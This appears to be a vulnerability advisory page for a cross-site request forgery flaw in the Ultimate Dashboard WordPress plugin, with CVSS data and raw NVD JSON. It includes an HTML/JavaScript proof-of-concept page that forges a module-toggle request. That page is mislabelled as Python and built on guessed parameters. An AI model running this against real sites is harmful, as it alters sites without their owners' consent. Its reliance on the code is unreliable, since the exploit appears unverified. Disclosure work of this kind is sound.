Security Vulnerability Report
中文
CVE-2026-3140 CVSS 4.3 MEDIUM

CVE-2026-3140

Published: 2026-05-01 12:16:16
Last Modified: 2026-05-01 15:26:25

Description

The Ultimate Dashboard plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.14. This is due to a flawed nonce validation conditional in the 'handle_module_actions' function. This makes it possible for unauthenticated attackers to toggle plugin modules on or off via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Ultimate Dashboard Plugin <= 3.8.14

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- Proof of Concept for CVE-2026-3140 --> <!-- This HTML page demonstrates the CSRF attack vector --> <html> <body> <h1>Ultimate Dashboard CSRF PoC</h1> <p>Clicking the button below will attempt to toggle a module via forged request.</p> <script> function exploit() { // Target URL of the vulnerable WordPress installation var targetUrl = "http://target-site.com/wp-admin/admin.php?page=ultimate-dashboard"; // Vulnerable parameters based on the 'handle_module_actions' function var params = "action=toggle_module&module_id=example_module_id&status=inactive"; var xhr = new XMLHttpRequest(); xhr.open("POST", targetUrl, true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.onreadystatechange = function() { if (xhr.readyState == 4) { console.log("Request sent. Check if module status changed."); } }; xhr.send(params); } </script> <form action="#"> <input type="button" value="Click to Exploit" onclick="exploit()" /> </form> </body> </html>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3140", "sourceIdentifier": "[email protected]", "published": "2026-05-01T12:16:15.940", "lastModified": "2026-05-01T15:26:24.553", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Ultimate Dashboard plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 3.8.14. This is due to a flawed nonce validation conditional in the 'handle_module_actions' function. This makes it possible for unauthenticated attackers to toggle plugin modules on or off via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/ultimate-dashboard/trunk/modules/feature/class-feature-module.php#L120", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3479396/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/bbcdb70f-77db-48ab-ae23-c46caecdd3be?source=cve", "source": "[email protected]"}]}}